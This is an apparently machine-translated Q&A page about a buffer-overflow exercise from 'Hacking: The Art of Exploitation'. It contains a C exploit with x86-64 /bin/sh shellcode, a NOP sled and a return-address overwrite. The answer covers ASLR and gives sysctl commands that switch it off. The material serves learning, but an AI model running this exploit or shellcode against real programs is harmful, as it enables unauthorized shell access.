Каков базовый адрес программной среды C из команды execle? - PullRequest
0 голосов
/ 31 января 2020

Я читаю книгу "Взлом: искусство эксплуатации", и у меня есть некоторые проблемы с кодом exploit_notesearch_env.c Я пытаюсь использовать эксплойт с переполнением буфера, вызывая программу, которая будет эксплуатироваться с функцией execle() , Таким образом, единственной переменной среды программы, которая будет использоваться, будет шеллкод.

Моя проблема в том, что я не могу определить адрес переменной окружения шеллкода. Книга говорит, что базовый адрес был 0xbffffffa, а затем вычитает размер шелл-кода и длину имени программы из него, чтобы получить адрес шелл-кода.

Это код exploit_notesearch_env.c, который вызывает notesearch программа:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
char shellcode[]=
"SHELLCODE=\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";

int main(int argc, char *argv[]) {
   char *env[2] = {shellcode, (char *) 0};
   uint64_t i, ret;
   char *buffer = (char *) malloc(160);

   ret = 0xbffffffa - (sizeof(shellcode)-1) - strlen("./notesearch");
   memset(buffer, '\x90', 120);
   *((uint64_t *)(buffer+120)) = ret;

   execle("./notesearch", "notesearch", buffer, (char *) 0, env);
   free(buffer);
}

Кстати, книга использует 32-битный Linux дистрибутив, в то время как я использую Kali Linux 2019.4 64-битную версию, которая может быть источником проблемы.

Код шелл-кода уже настроен на 64 бита, и программа корректно переполняет буфер, но с неверным адресом.

Кто-нибудь знает, как правильно заменить адрес 0xbffffffa из книги?

1 Ответ

1 голос
/ 31 января 2020

Каков базовый адрес программной среды c из команды execle?

Невозможно сказать.

Кто-нибудь знает право заменить адрес 0xbffffffa из книги?

Нет, никто не знает, кроме вашей операционной системы.


Прежде всего, на современных Linux системах, Рандомизация макета адресного пространства (ASLR) обычно включена по умолчанию. Это означает, что каждая запускаемая вами программа будет иметь разные рандомизированные базовые адреса для стека, кучи, самого двоичного файла и любой другой страницы библиотеки или виртуальной памяти.

Эта рандомизация выполняется самим ядром. Чтобы отключить ASLR, вы можете запустить программу в GDB (которая отключает ее только для запущенного процесса) или временно отключить ее для всей системы с помощью команды sysctl, установив kernel.randomize_va_space в 0 без ASLR и до 2 для обычного ASLR.

sudo sysctl -w kernel.randomize_va_space=0 # disabled
sudo sysctl -w kernel.randomize_va_space=2 # enabled

Однако , даже после отключения ASLR заранее невозможно узнать положение стека, у вас будет запустить вашу программу под GDB хотя бы один раз, чтобы сначала проверить адрес (переменные окружения находятся внизу стека). В действительности нет другого пути, кроме написания собственного сценария компоновщика , который не так прост.


Если ваша книга не охватывала эти концепции раньше, тогда я настоятельно рекомендую Вы найдете другую книгу , потому что прыгать прямо к коду, ничего не объясняя, не имеет особого смысла.

...